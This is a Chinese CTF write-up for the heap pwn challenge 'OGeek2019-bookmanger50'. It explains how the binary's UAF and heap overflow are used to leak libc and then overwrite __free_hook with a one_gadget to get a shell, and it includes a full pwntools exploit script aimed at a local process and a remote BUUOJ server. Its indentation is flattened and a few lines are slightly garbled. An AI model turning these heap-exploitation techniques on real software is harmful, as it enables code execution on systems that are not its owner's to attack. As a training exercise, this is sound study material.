题目:OGeek2019-bookmanger50
保护
分析
add_chapter
add_section
add_text
rm_chapter
rm_section
rm_text
show
edit
思路
这题的漏洞非常多有uaf,off-by-one,堆溢出因为漏洞太多以至于给我整不会了,ida逆向时看起来挺复杂其实就是一个常规的简单堆题,我在做unsort bin泄漏libc时把堆空间整坏了,做题时我没注意到泄漏方式的问题导致我后面做的怀疑人生,导致花了非常多时间,其实这题非常简单,没有很多常规题的限制
整理出来大概堆空间如下:
且每个ptr都可以单独申请出来,且漏洞非常多,限制少,就导致这题做法特别灵活.
首先unseat bin泄漏libc
add('chapter','','0')
add('section','0','A')
add('text','A','B',0x90)
add('section','0','B') #0x40
dele('section','A') #uaf
add('text','B','B',0x90) #uaf
show()
ru('Text:')
ru('Text:')
leak = info(rc(6),'libc') #leak libc
libc.address = leak - (0x7ff30239eb42- 0x7ff301fda000) # 0x3c4b78
通过堆溢出即可完成写入one_gadget
edit('Text','B',b'A'*0x98 +p64(0x41)+ p64(0x41)+ p8(0)*0x18+ p64(libc.symbols['__free_hook']))
edit('Text','A',p64(one[1] + libc.address))
dele('chapter','0') #getshell
完整exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import sys
#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./OGeek2019-bookmanger50"
one = [0x45216,0x4526a,0xf02a4,0xf1147] #2.23(64)
#idx = int(sys.argv[1])
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("node4.buuoj.cn","29119")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(mallocr,string='logs'):
if(isinstance(mallocr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))
def pa(s=1,t='step'):
log.success('pause : '+ t +'---> '+str(hex(s)))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def add(ty,i='',c='',t=0x10):
if ty=='chapter':
sla('choice:','1')
sa('name:',c)
elif ty=='section':
sla('choice:','2')
sa('into:',i)
sa('name:',c)
elif ty=='text':
sla('choice:','3')
sa('into:',i)
sa('write:',str(t))
sa('Text:',c)
def dele(ty,i):
if ty=='chapter':
sla('choice:','4')
sla('name:',str(i))
elif ty=='section':
sla('choice:','5')
sla('name:',str(i))
elif ty=='text':
sla('choice:','6')
sla('name:',str(i))
def show():
sla('choice:','7')
def edit(tr,s,n):
sla('choice:','8')
sla(':',tr)
sa('name:',s)
sa(':',n)
################################### Statr ############################################
def pwn():
sla('create:','root') #这里没啥用
add('chapter','','0')
add('section','0','A')
add('text','A','B',0x90)
add('section','0','B') #0x40
dele('section','A') #uaf
add('text','B','B',0x90) #uaf
show()
ru('Text:')
ru('Text:')
leak = info(rc(6),'libc') #leak libc
libc.address = leak - (0x7ff30239eb42- 0x7ff301fda000) # 0x3c4b78
edit('Text','B',b'A'*0x98 +p64(0x41)+ p64(0x41)+ p8(0)*0x18+ p64(libc.symbols['__free_hook']))
edit('Text','A',p64(one[1] + libc.address))
dele('chapter','0')
p.interactive()
################################### End ##############################################
pwn()
while 0:
try:
pwn()
break
except (KeyboardInterrupt [KeyboardInterrupt ]):
p.close()
#p = process(binary)
p = remote("node4.buuoj.cn","29728")